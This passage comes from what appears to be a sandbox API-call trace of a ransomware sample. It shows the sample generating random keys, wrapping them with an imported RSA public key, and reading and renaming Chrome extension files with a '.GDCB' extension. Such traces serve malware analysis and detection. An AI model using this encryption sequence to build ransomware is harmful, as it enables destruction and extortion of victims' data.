hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.858] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0276.858] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.861] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c960) returned 1 [0276.861] CryptGetKeyParam (in: hKey=0x678c960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.861] CryptEncrypt (in: hKey=0x678c960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.861] GetLastError () returned 0x0 [0276.861] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.861] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0276.863] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cc60) returned 1 [0276.863] CryptGetKeyParam (in: hKey=0x678cc60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.863] CryptEncrypt (in: hKey=0x678cc60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.863] GetLastError () returned 0x0 [0276.863] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0276.863] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.865] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.868] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.870] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xe8, lpOverlapped=0x0) returned 1 [0276.879] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.885] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.gdcb")) returned 1 [0276.891] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.894] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.897] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.897] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.897] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.902] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.903] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.903] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.903] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.905] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cd20) returned 1 [0276.905] CryptGetKeyParam (in: hKey=0x678cd20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.905] CryptEncrypt (in: hKey=0x678cd20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.906] GetLastError () returned 0x0 [0276.906] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.906] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.908] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cd60) returned 1 [0276.908] CryptGetKeyParam (in: hKey=0x678cd60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.908] CryptEncrypt (in: hKey=0x678cd60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.908] GetLastError () returned 0x0 [0276.908] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.908] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.910] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.912] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.915] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x102, lpOverlapped=0x0) returned 1 [0276.924] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.934] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json.gdcb")) returned 1 [0276.940] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.943] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.945] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.945] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.945] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.945] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.948] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.950] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.950] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.950] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.950] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.953] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c9a0) returned 1 [0276.953] CryptGetKeyParam (in: hKey=0x678c9a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.953] CryptEncrypt (in: hKey=0x678c9a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.953] GetLastError () returned 0x0 [0276.953] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.953] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.955] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ce60) returned 1 [0276.955] CryptGetKeyParam (in: hKey=0x678ce60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.955] CryptEncrypt (in: hKey=0x678ce60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.955] GetLastError () returned 0x0 [0276.955] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.955] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.957] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.960] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.962] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xf9, lpOverlapped=0x0) returned 1 [0276.970] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.977] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json.gdcb")) returned 1 [0276.982] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0276.986] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.988] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.988] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0276.988] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.988] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0276.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.993] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0276.993] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.994] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0276.996] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679bce0) returned 1 [0276.996] CryptGetKeyParam (in: hKey=0x679bce0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0276.996] CryptEncrypt (in: hKey=0x679bce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0276.996] GetLastError () returned 0x0 [0276.996] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0276.996] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0276.999] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678cee0) returned 1 [0276.999] CryptGetKeyParam (in: hKey=0x678cee0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0276.999] CryptEncrypt (in: hKey=0x678cee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0276.999] GetLastError () returned 0x0 [0276.999] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.999] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0277.000] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0277.004] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0277.006] ReadFile (in: hFile=0x424, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285d160*=0x2686, lpOverlapped=0x0) returned 1 [0277.015] VirtualAlloc (lpAddress=0x0, dwSize=0x2690, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0277.021] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.gdcb")) returned 1 [0277.028] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0277.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.033] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.033] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0277.033] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.033] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0277.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.038] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.038] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0277.038] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.039] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0277.041] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x679a220) returned 1 [0277.041] CryptGetKeyParam (in: hKey=0x679a220, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.041] CryptEncrypt (in: hKey=0x679a220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0277.041] GetLastError () returned 0x0 [0277.041] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.041] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0277.043] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678cf20) returned 1 [0277.043] CryptGetKeyParam (in: hKey=0x678cf20, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.043] CryptEncrypt (in: hKey=0x678cf20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0277.043] GetLastError () returned 0x0 [0277.043] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.043] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0277.045] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0277.048] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0277.051] ReadFile (in: hFile=0x520, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285d3e8*=0x8c2d0, lpOverlapped=0x0) returned 1 [0277.059] VirtualAlloc (lpAddress=0x0, dwSize=0x8c2d0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0277.077] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.gdcb")) returned 1 [0277.081] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0277.085] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.087] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.087] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0277.087] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.087] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0277.089] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 